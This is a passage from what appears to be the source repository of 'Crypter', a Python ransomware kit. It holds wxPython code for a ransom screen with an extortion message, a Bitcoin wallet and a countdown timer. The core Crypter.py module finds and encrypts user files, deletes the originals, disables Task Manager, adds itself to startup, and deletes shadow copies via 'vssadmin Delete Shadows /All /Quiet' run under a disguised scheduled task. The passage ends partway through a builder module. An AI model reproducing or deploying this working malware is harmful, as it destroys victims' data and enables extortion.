wx.TAB_TRAVERSAL ) 63 | bSizer192 = wx.BoxSizer( wx.VERTICAL ) 64 | 65 | self.LockBitmap = wx.StaticBitmap( self.m_panel81, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) 66 | bSizer192.Add( self.LockBitmap, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 7 ) 67 | 68 | 69 | self.m_panel81.SetSizer( bSizer192 ) 70 | self.m_panel81.Layout() 71 | bSizer192.Fit( self.m_panel81 ) 72 | bSizer20.Add( self.m_panel81, 0, wx.EXPAND |wx.ALL, 0 ) 73 | 74 | self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL|wx.BORDER_RAISED ) 75 | bSizer191 = wx.BoxSizer( wx.VERTICAL ) 76 | 77 | self.TimeRemainingLabel = wx.StaticText( self.m_panel8, wx.ID_ANY, u"TIME REMAINING", wx.DefaultPosition, wx.DefaultSize, 0 ) 78 | self.TimeRemainingLabel.Wrap( -1 ) 79 | 80 | self.TimeRemainingLabel.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 81 | self.TimeRemainingLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 82 | 83 | bSizer191.Add( self.TimeRemainingLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 10 ) 84 | 85 | self.TimeRemainingTime = wx.StaticText( self.m_panel8, wx.ID_ANY, u"00:00:00", wx.DefaultPosition, wx.DefaultSize, 0 ) 86 | self.TimeRemainingTime.Wrap( -1 ) 87 | 88 | self.TimeRemainingTime.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 89 | self.TimeRemainingTime.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 90 | 91 | bSizer191.Add( self.TimeRemainingTime, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 92 | 93 | 94 | self.m_panel8.SetSizer( bSizer191 ) 95 | self.m_panel8.Layout() 96 | bSizer191.Fit( self.m_panel8 ) 97 | bSizer20.Add( self.m_panel8, 0, wx.ALL|wx.EXPAND, 5 ) 98 | 99 | 100 | bSizer17.Add( bSizer20, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.EXPAND, 5 ) 101 | 102 | bSizer18 = wx.BoxSizer( wx.VERTICAL ) 103 | 104 | self.RansomMessageText = wx.TextCtrl( self.BodyPanel, wx.ID_ANY, u"The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost.\n\nFor more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer.", wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE|wx.TE_READONLY ) 105 | self.RansomMessageText.SetFont( wx.Font( 14, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier New" ) ) 106 | 107 | bSizer18.Add( self.RansomMessageText, 3, wx.ALL|wx.EXPAND, 7 ) 108 | 109 | 110 | bSizer17.Add( bSizer18, 1, wx.EXPAND, 5 ) 111 | 112 | 113 | bSizer15.Add( bSizer17, 1, 0, 5 ) 114 | 115 | 116 | BodySizer.Add( bSizer15, 1, wx.EXPAND, 5 ) 117 | 118 | 119 | self.BodyPanel.SetSizer( BodySizer ) 120 | self.BodyPanel.Layout() 121 | BodySizer.Fit( self.BodyPanel ) 122 | MainSizer.Add( self.BodyPanel, 2, wx.ALL|wx.EXPAND, 20 ) 123 | 124 | self.FooterPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 125 | bSizer181 = wx.BoxSizer( wx.HORIZONTAL ) 126 | 127 | self.m_panel9 = wx.Panel( self.FooterPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 128 | bSizer22 = wx.BoxSizer( wx.VERTICAL ) 129 | 130 | self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW|0 ) 131 | bSizer22.Add( self.BitcoinButton, 0, wx.ALIGN_CENTER|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 132 | 133 | 134 | self.m_panel9.SetSizer( bSizer22 ) 135 | self.m_panel9.Layout() 136 | bSizer22.Fit( self.m_panel9 ) 137 | bSizer181.Add( self.m_panel9, 1, wx.EXPAND |wx.ALL, 5 ) 138 | 139 | sbSizer2 = wx.StaticBoxSizer( wx.StaticBox( self.FooterPanel, wx.ID_ANY, wx.EmptyString ), wx.VERTICAL ) 140 | 141 | self.m_panel10 = wx.Panel( sbSizer2.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 142 | bSizer221 = wx.BoxSizer( wx.VERTICAL ) 143 | 144 | bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) 145 | 146 | self.WalletAddressLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"WALLET ADDRESS:", wx.DefaultPosition, wx.DefaultSize, 0 ) 147 | self.WalletAddressLabel.Wrap( -1 ) 148 | 149 | self.WalletAddressLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 150 | self.WalletAddressLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 151 | 152 | bSizer13.Add( self.WalletAddressLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 153 | 154 | self.WalletAddressString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1BoatSLRHtKNngkdXEeobR76b53LETtpyT", wx.DefaultPosition, wx.DefaultSize, 0 ) 155 | self.WalletAddressString.Wrap( -1 ) 156 | 157 | self.WalletAddressString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 158 | self.WalletAddressString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 159 | 160 | bSizer13.Add( self.WalletAddressString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 161 | 162 | 163 | bSizer221.Add( bSizer13, 0, wx.EXPAND, 5 ) 164 | 165 | bSizer14 = wx.BoxSizer( wx.HORIZONTAL ) 166 | 167 | self.BitcoinFeeLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"BITCOIN FEE", wx.DefaultPosition, wx.DefaultSize, 0 ) 168 | self.BitcoinFeeLabel.Wrap( -1 ) 169 | 170 | self.BitcoinFeeLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 171 | self.BitcoinFeeLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 172 | 173 | bSizer14.Add( self.BitcoinFeeLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 174 | 175 | self.BitcoinFeeString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1.50", wx.DefaultPosition, wx.DefaultSize, 0 ) 176 | self.BitcoinFeeString.Wrap( -1 ) 177 | 178 | self.BitcoinFeeString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 179 | self.BitcoinFeeString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 180 | 181 | bSizer14.Add( self.BitcoinFeeString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 182 | 183 | 184 | bSizer221.Add( bSizer14, 0, wx.EXPAND, 5 ) 185 | 186 | bSizer19 = wx.BoxSizer( wx.HORIZONTAL ) 187 | 188 | bSizer19.SetMinSize( wx.Size( -1,40 ) ) 189 | 190 | bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 191 | 192 | 193 | bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 194 | 195 | self.ViewEncryptedFilesButton = wx.Button( self.m_panel10, wx.ID_ANY, u"View Encrypted Files", wx.DefaultPosition, wx.DefaultSize, 0 ) 196 | bSizer19.Add( self.ViewEncryptedFilesButton, 1, wx.ALL|wx.EXPAND, 5 ) 197 | 198 | self.EnterDecryptionKeyButton = wx.Button( self.m_panel10, wx.ID_ANY, u"Enter Decryption Key", wx.DefaultPosition, wx.DefaultSize, 0 ) 199 | bSizer19.Add( self.EnterDecryptionKeyButton, 1, wx.ALL|wx.EXPAND, 5 ) 200 | 201 | 202 | bSizer221.Add( bSizer19, 2, wx.ALIGN_RIGHT|wx.EXPAND, 5 ) 203 | 204 | 205 | self.m_panel10.SetSizer( bSizer221 ) 206 | self.m_panel10.Layout() 207 | bSizer221.Fit( self.m_panel10 ) 208 | sbSizer2.Add( self.m_panel10, 1, wx.ALL|wx.EXPAND, 5 ) 209 | 210 | 211 | bSizer181.Add( sbSizer2, 3, wx.EXPAND, 5 ) 212 | 213 | 214 | self.FooterPanel.SetSizer( bSizer181 ) 215 | self.FooterPanel.Layout() 216 | bSizer181.Fit( self.FooterPanel ) 217 | MainSizer.Add( self.FooterPanel, 1, wx.ALL|wx.EXPAND, 20 ) 218 | 219 | 220 | self.SetSizer( MainSizer ) 221 | self.Layout() 222 | 223 | self.Centre( wx.BOTH ) 224 | 225 | def __del__( self ): 226 | pass 227 | 228 | 229 | ########################################################################### 230 | ## Class ViewEncryptedFilesDialog 231 | ########################################################################### 232 | 233 | class ViewEncryptedFilesDialog ( wx.Frame ): 234 | 235 | def __init__( self, parent ): 236 | wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encrypted Files", pos = wx.DefaultPosition, size = wx.Size( 600,400 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) 237 | 238 | self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) 239 | 240 | BodySizer = wx.BoxSizer( wx.VERTICAL ) 241 | 242 | self.m_panel4 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 243 | TextCtrlSizer = wx.BoxSizer( wx.VERTICAL ) 244 | 245 | self.EncryptedFilesTextCtrl = wx.TextCtrl( self.m_panel4, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_DONTWRAP|wx.TE_MULTILINE|wx.TE_READONLY ) 246 | TextCtrlSizer.Add( self.EncryptedFilesTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) 247 | 248 | 249 | self.m_panel4.SetSizer( TextCtrlSizer ) 250 | self.m_panel4.Layout() 251 | TextCtrlSizer.Fit( self.m_panel4 ) 252 | BodySizer.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) 253 | 254 | 255 | self.SetSizer( BodySizer ) 256 | self.Layout() 257 | 258 | self.Centre( wx.BOTH ) 259 | 260 | def __del__( self ): 261 | pass 262 | 263 | 264 | ########################################################################### 265 | ## Class EnterDecryptionKeyDialog 266 | ########################################################################### 267 | 268 | class EnterDecryptionKeyDialog ( wx.Dialog ): 269 | 270 | def __init__( self, parent ): 271 | wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Decrypt Files", pos = wx.DefaultPosition, size = wx.Size( 500,200 ), style = wx.DEFAULT_DIALOG_STYLE ) 272 | 273 | self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) 274 | 275 | bSizer12 = wx.BoxSizer( wx.VERTICAL ) 276 | 277 | self.m_panel6 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 278 | MainSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel6, wx.ID_ANY, u"AES Decryption Key" ), wx.VERTICAL ) 279 | 280 | 281 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 282 | 283 | 284 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 285 | 286 | bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) 287 | 288 | 289 | bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 290 | 291 | self.DecryptionKeyTextCtrl = wx.TextCtrl( MainSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 220,-1 ), 0 ) 292 | self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) 293 | bSizer13.Add( self.DecryptionKeyTextCtrl, 0, wx.ALL, 5 ) 294 | 295 | 296 | bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 297 | 298 | 299 | MainSizer.Add( bSizer13, 1, wx.EXPAND, 5 ) 300 | 301 | 302 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 303 | 304 | OkCancelSizer = wx.StdDialogButtonSizer() 305 | self.OkCancelSizerOK = wx.Button( MainSizer.GetStaticBox(), wx.ID_OK ) 306 | OkCancelSizer.AddButton( self.OkCancelSizerOK ) 307 | self.OkCancelSizerCancel = wx.Button( MainSizer.GetStaticBox(), wx.ID_CANCEL ) 308 | OkCancelSizer.AddButton( self.OkCancelSizerCancel ) 309 | OkCancelSizer.Realize(); 310 | 311 | MainSizer.Add( OkCancelSizer, 1, wx.EXPAND, 5 ) 312 | 313 | self.StatusText = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Waiting for input", wx.DefaultPosition, wx.DefaultSize, 0 ) 314 | self.StatusText.Wrap( -1 ) 315 | 316 | MainSizer.Add( self.StatusText, 0, wx.ALL, 5 ) 317 | 318 | bSizer121 = wx.BoxSizer( wx.HORIZONTAL ) 319 | 320 | self.DecryptionGauge = wx.Gauge( MainSizer.GetStaticBox(), wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) 321 | self.DecryptionGauge.SetValue( 0 ) 322 | bSizer121.Add( self.DecryptionGauge, 0, wx.ALL, 5 ) 323 | 324 | 325 | bSizer121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 326 | 327 | self.EncryptedFilesNumberLabel = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Encrypted Files: 0", wx.DefaultPosition, wx.DefaultSize, 0 ) 328 | self.EncryptedFilesNumberLabel.Wrap( -1 ) 329 | 330 | bSizer121.Add( self.EncryptedFilesNumberLabel, 0, wx.ALL, 5 ) 331 | 332 | 333 | MainSizer.Add( bSizer121, 1, wx.EXPAND, 5 ) 334 | 335 | 336 | self.m_panel6.SetSizer( MainSizer ) 337 | self.m_panel6.Layout() 338 | MainSizer.Fit( self.m_panel6 ) 339 | bSizer12.Add( self.m_panel6, 1, wx.EXPAND |wx.ALL, 5 ) 340 | 341 | 342 | self.SetSizer( bSizer12 ) 343 | self.Layout() 344 | 345 | self.Centre( wx.BOTH ) 346 | 347 | def __del__( self ): 348 | pass 349 | 350 | 351 | -------------------------------------------------------------------------------- /Crypter/Crypter/Crypter.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter: Ransomware written entirely in python. 3 | @author: Sithis 4 | @version: 3.5 5 | ''' 6 | 7 | import json 8 | # Import libs 9 | import os 10 | import sys 11 | import time 12 | import winreg 13 | 14 | import win32file 15 | import wx 16 | 17 | # Import Package Libs 18 | from . import Base 19 | from . import Crypt 20 | from . import Gui 21 | from .ScheduledTask import ScheduledTask 22 | from .TaskManager import TaskManager 23 | 24 | 25 | ################### 26 | ## CRYPTER Class ## 27 | ################### 28 | class Crypter(Base.Base): 29 | ''' 30 | @summary: Crypter: Controls interaction between relevant objects 31 | @author: MLS 32 | ''' 33 | 34 | def __init__(self): 35 | ''' 36 | @summary: Constructor 37 | ''' 38 | self.__config = self.__load_config() 39 | self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") 40 | self.encryption_test_file = os.path.join(os.environ['APPDATA'], "enc_test.txt") 41 | 42 | # Init Crypt Lib 43 | self.Crypt = Crypt.SymmetricCrypto() 44 | 45 | # FIRST RUN 46 | # Encrypt! 47 | if not os.path.isfile(self.encrypted_file_list): 48 | # Time Delay 49 | if "time_delay" in self.__config: 50 | time.sleep(int(self.__config["time_delay"])) 51 | 52 | # Disable Task Manager 53 | if self.__config["disable_task_manager"]: 54 | self.task_manager = TaskManager() 55 | try: 56 | self.task_manager.disable() 57 | except WindowsError: 58 | pass 59 | 60 | # Add to startup programs 61 | # TODO Test 62 | if self.__config["open_gui_on_login"]: 63 | self.__add_to_startup_programs() 64 | 65 | # Find files and initialise keys 66 | self.Crypt.init_keys() 67 | 68 | # Create encryption test file 69 | file_list = [self.encryption_test_file] 70 | with open(self.encryption_test_file, "w") as test_file: 71 | test_file.write("Encryption test") 72 | 73 | # File discovery 74 | file_list += self.find_files() 75 | 76 | # Start encryption 77 | self.encrypt_files(file_list) 78 | 79 | # If no files were encrypted. cleanup and return 80 | if self.__no_files_were_encrypted(): 81 | # TODO Test 82 | print("No files were encrypted") 83 | self.cleanup() 84 | return 85 | 86 | # Delete Shadow Copies 87 | if "delete_shadow_copies" in self.__config: 88 | self.__delete_shadow_files() 89 | 90 | # Open GUI 91 | self.start_gui() 92 | 93 | # ALREADY ENCRYPTED - Open GUI 94 | elif os.path.isfile(self.encrypted_file_list): 95 | self.start_gui() 96 | 97 | 98 | def __load_config(self): 99 | ''' 100 | @summary: Loads the runtime cfg file 101 | @return: JSON runtime config 102 | ''' 103 | 104 | try: 105 | cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) 106 | except AttributeError: 107 | cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") 108 | 109 | with open(cfg_path, "r") as runtime_cfg_file: 110 | config = json.load(runtime_cfg_file) 111 | 112 | return config 113 | 114 | 115 | def __delete_shadow_files(self): 116 | ''' 117 | @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk 118 | ''' 119 | 120 | vs_deleter = ScheduledTask( 121 | name="updater47", 122 | command="vssadmin Delete Shadows /All /Quiet" 123 | ) 124 | vs_deleter.run_now() 125 | vs_deleter.cleanup() 126 | 127 | 128 | def __no_files_were_encrypted(self): 129 | ''' 130 | @summary: Checks if any files were encrypted 131 | @return: True if no files were encrypted, otherwise False 132 | @todo: Test 133 | ''' 134 | 135 | if not os.path.isfile(self.encrypted_file_list): 136 | return True 137 | else: 138 | return False 139 | 140 | 141 | def __add_to_startup_programs(self): 142 | ''' 143 | @summary: Adds Crypter to the list of Windows startup programs 144 | @todo: Code and test 145 | @todo: Restore try and except catch 146 | ''' 147 | 148 | try: 149 | reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) 150 | winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) 151 | winreg.CloseKey(reg) 152 | except WindowsError: 153 | pass 154 | 155 | 156 | def __remove_from_startup_programs(self): 157 | ''' 158 | @summary: Removes Crypter from the list of startup programs 159 | @todo: Code and test 160 | ''' 161 | 162 | try: 163 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) 164 | winreg.DeleteValue(reg, "Crypter") 165 | winreg.CloseKey(reg) 166 | except WindowsError: 167 | pass 168 | 169 | 170 | def get_start_time(self): 171 | ''' 172 | @summary: Get's Crypter's start time from the registry, or creates it if it 173 | doesn't exist 174 | @return: The time that the ransomware began it's encryption operation, in integer epoch form 175 | ''' 176 | 177 | # Try to open registry key 178 | try: 179 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 180 | start_time = winreg.QueryValueEx(reg, "")[0] 181 | winreg.CloseKey(reg) 182 | # If failure, create the key 183 | except WindowsError: 184 | start_time = int(time.time()) 185 | reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 186 | winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) 187 | winreg.CloseKey(reg) 188 | 189 | return start_time 190 | 191 | 192 | def cleanup(self): 193 | ''' 194 | @summary: Cleanups the system following successful decryption. Removed the list of 195 | encrypted files and deletes the Crypter registry key. Re-enable TM 196 | ''' 197 | 198 | # If files were encrypted, Remove from startup programs (if present in list) 199 | if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: 200 | self.__remove_from_startup_programs() 201 | 202 | self.delete_encrypted_file_list() 203 | self.delete_encrypted_file_test() 204 | self.delete_registry_entries() 205 | 206 | if self.__config["disable_task_manager"]: 207 | try: 208 | self.task_manager.enable() 209 | except WindowsError: 210 | pass 211 | 212 | 213 | def delete_registry_entries(self): 214 | ''' 215 | @summary: Deletes the timer registry key 216 | ''' 217 | 218 | # Open and delete the key 219 | try: 220 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 221 | winreg.DeleteKeyEx(reg, "") 222 | winreg.CloseKey(reg) 223 | except WindowsError: 224 | # Ignore any Windows errors 225 | pass 226 | 227 | 228 | def start_gui(self): 229 | ''' 230 | @summary: Initialises and launches the ransomware GUI screen 231 | ''' 232 | 233 | # Get Crypter start_time 234 | start_time = self.get_start_time() 235 | 236 | app = wx.App() 237 | # TODO Update this to new path and place in __init__ 238 | try: 239 | image_path = sys._MEIPASS 240 | except AttributeError: 241 | image_path = os.path.join("..\\", "CrypterBuilder", "Resources") 242 | 243 | crypter_gui = Gui.Gui( 244 | image_path=image_path, 245 | start_time=start_time, 246 | decrypter=self, 247 | config=self.__config) 248 | 249 | crypter_gui.Show() 250 | app.MainLoop() 251 | 252 | 253 | def get_encrypted_files_list(self): 254 | ''' 255 | @summary: Returns a list of the files encrypted by crypter 256 | @return: Encrypted file list 257 | ''' 258 | 259 | # Get list of encrypted files 260 | try: 261 | with open(self.encrypted_file_list) as fh: 262 | file_list = fh.readlines() 263 | fh.close() 264 | except IOError: 265 | # Don't error, just return message 266 | raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) 267 | 268 | return file_list 269 | 270 | 271 | def decrypt_file(self, encrypted_file, decryption_key): 272 | ''' 273 | @summary: Processes the list of encrypted files and decrypts each. Should be called once per file 274 | @param encrypted_file: an encrypted file to decrypt 275 | ''' 276 | 277 | # Decrypt! 278 | if not encrypted_file: 279 | return 280 | 281 | # IF successful decryption, delete locked file 282 | locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, 283 | self.__config["encrypted_file_extension"]) 284 | if locked_path: 285 | os.remove(locked_path) 286 | 287 | 288 | def delete_encrypted_file_test(self): 289 | """ 290 | Deletes the encrypted test file 291 | """ 292 | if os.path.isfile(self.encryption_test_file): 293 | os.remove(self.encryption_test_file) 294 | 295 | 296 | def delete_encrypted_file_list(self): 297 | ''' 298 | @summary: Deletes the list of encrypted files 299 | ''' 300 | if os.path.isfile(self.encrypted_file_list): 301 | os.remove(self.encrypted_file_list) 302 | 303 | 304 | def encrypt_files(self, file_list): 305 | ''' 306 | @summary: Encrypts all files in the provided file list param 307 | @param file_list: A list of files to encrypt 308 | ''' 309 | encrypted_files = [] 310 | 311 | # Encrypt them and add to list if successful 312 | for file in file_list: 313 | 314 | # Encrypt file if less than specified file size 315 | try: 316 | if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: 317 | is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) 318 | else: 319 | is_encrypted = False 320 | 321 | # IF encrypted, try to delete the file and add to the list 322 | if is_encrypted: 323 | os.remove(file) 324 | encrypted_files.append(file) 325 | except: 326 | # Ignore any exception, such as access denied, and continue 327 | pass 328 | 329 | # Write out list of encrypted files 330 | if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): 331 | fh = open(self.encrypted_file_list, "w") 332 | for encrypted_file in encrypted_files: 333 | fh.write(encrypted_file) 334 | fh.write("\n") 335 | fh.close() 336 | 337 | 338 | def find_files(self): 339 | ''' 340 | @summary: Searches the file system and builds a list of files to encrypt 341 | @return: List of files matching the location and filetype criteria 342 | ''' 343 | binary_name = os.path.split(sys.argv[0])[1] 344 | 345 | # Get Current Working Directory 346 | try: 347 | cwd = sys._MEIPASS 348 | except AttributeError: 349 | cwd = os.path.dirname(os.getcwd()) 350 | 351 | base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) 352 | file_list = [] 353 | 354 | for directory in base_dirs: 355 | print("Checking: %s" % directory) 356 | for path, subdirs, files in os.walk(directory): 357 | for file in files: 358 | if os.path.isfile(os.path.join(path, file)): 359 | # Check file is valid 360 | try: 361 | if ( 362 | (self.is_valid_filetype(file)) and 363 | (not self.is_excluded_file(file)) and 364 | (not self.is_excluded_dir(path)) and 365 | (file.lower() != binary_name.lower()) and 366 | (not os.path.join(path, file).lower().startswith( 367 | win32file.GetLongPathName(cwd).lower())) 368 | ): 369 | file_list.append(os.path.join(path, file)) 370 | except Exception: 371 | # Skip any files with strange chars not within our encoding 372 | pass 373 | for file in subdirs: 374 | if os.path.isfile(os.path.join(path, file)): 375 | # Check file is valid 376 | try: 377 | if ( 378 | (self.is_valid_filetype(file)) and 379 | (not self.is_excluded_file(file)) and 380 | (not self.is_excluded_dir(path)) and 381 | (file.lower() != binary_name.lower()) and 382 | (not os.path.join(path, file).lower().startswith( 383 | win32file.GetLongPathName(cwd).lower())) 384 | ): 385 | file_list.append(os.path.join(path, file)) 386 | except Exception: 387 | # Skip any files with strange chars not within our encoding 388 | pass 389 | 390 | return file_list 391 | 392 | 393 | def is_excluded_dir(self, path): 394 | ''' 395 | @summary: Checks whether the specified path should be excluded from encryption 396 | @param path: The path to check 397 | @return: True if the path should be excluded from encryption, otherwise False 398 | ''' 399 | 400 | for dir_to_exclude in self.DIRS_TO_EXCLUDE: 401 | if "\\%s" % dir_to_exclude.lower() in path.lower(): 402 | return True 403 | 404 | return False 405 | 406 | 407 | def is_excluded_file(self, file): 408 | ''' 409 | @summary: Checks whether the specified file is marked as a file to be excluded from encryption 410 | @param file: The file to check 411 | @requires: True if the file should be excluded from encryption, otherwise false 412 | ''' 413 | 414 | if file.lower() in self.FILES_TO_EXCLUDE: 415 | return True 416 | else: 417 | return False 418 | 419 | 420 | def is_valid_filetype(self, file): 421 | ''' 422 | @summary: Verifies whether the specified file is of an acceptable type for encryption 423 | @param file: The file to check 424 | @attention: The list of filetypes to encrypt is defined in the Base.Base class 425 | ''' 426 | 427 | # Split filename 428 | filename_components = file.split(".") 429 | 430 | # If no extension, return False 431 | if len(filename_components) <= 1: 432 | return False 433 | # Otherwise stringify extension 434 | else: 435 | full_extension = ".".join(filename_components[1:]).lower() 436 | 437 | # Check if extension is in the list of encryptable extensions 438 | for target_extension in self.__config["filetypes_to_encrypt"]: 439 | if len(target_extension) <= len(full_extension) and full_extension[ 440 | -len(target_extension):] == target_extension.lower(): 441 | return True 442 | 443 | return False 444 | 445 | 446 | def set_wallpaper(self): 447 | ''' 448 | @summary: Sets the users wallpaper to a specific ransom not image 449 | @deprecated: This method, and approach, is no longer used. The ransom 450 | note is now displayed via a WX GUI 451 | @requires: To enable this method, add an import for ctypes 452 | ''' 453 | 454 | # Import image and write to path 455 | # todo adjust file name... maybe replace this with whatever is provided in the config file? 456 | image_path = os.path.join(sys._MEIPASS, "ransom.png") 457 | 458 | SPI_SETDESKWALLPAPER = 20 459 | ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) 460 | -------------------------------------------------------------------------------- /CrypterBuilder/BuilderThread.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: Build Thread 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import time 8 | import os 9 | import sys 10 | import json 11 | import subprocess 12 | from threading import Thread, Event 13 | from pubsub import pub 14 | 15 | # Import package modules 16 | from .Base import * 17 | from .Exceptions import * 18 | from .Spec import Spec 19 | 20 | 21 | ######################### 22 | ## BUILDERTHREAD CLASS ## 23 | ######################### 24 | class BuilderThread(Thread): 25 | ''' 26 | @summary: Provides a Thread for running an exe Build 27 | ''' 28 | 29 | def __init__(self, user_input_dict): 30 | ''' 31 | @summary: Constructor. Starts the thread 32 | @param user_input_dict: The GUI Form user submitted config 33 | ''' 34 | self.__in_progress = False 35 | self.__build_error = False 36 | self.__build_success = False 37 | self.__build_stopped = False 38 | self.__binary_location = None 39 | self.__console_log(msg="Constructor()", debug_level=3) 40 | self.__stop_event = Event() 41 | self.user_input_dict = user_input_dict 42 | 43 | # Start the thread 44 | self.__console_log(msg="Starting build thread", debug_level=3) 45 | Thread.__init__(self) 46 | self.setDaemon(True) 47 | self.start() 48 | 49 | 50 | def is_in_progress(self): 51 | ''' 52 | @summary: Method to check if the build is in progress 53 | @return: True if in progress, False if not in progress 54 | ''' 55 | 56 | return self.__in_progress 57 | 58 | 59 | def 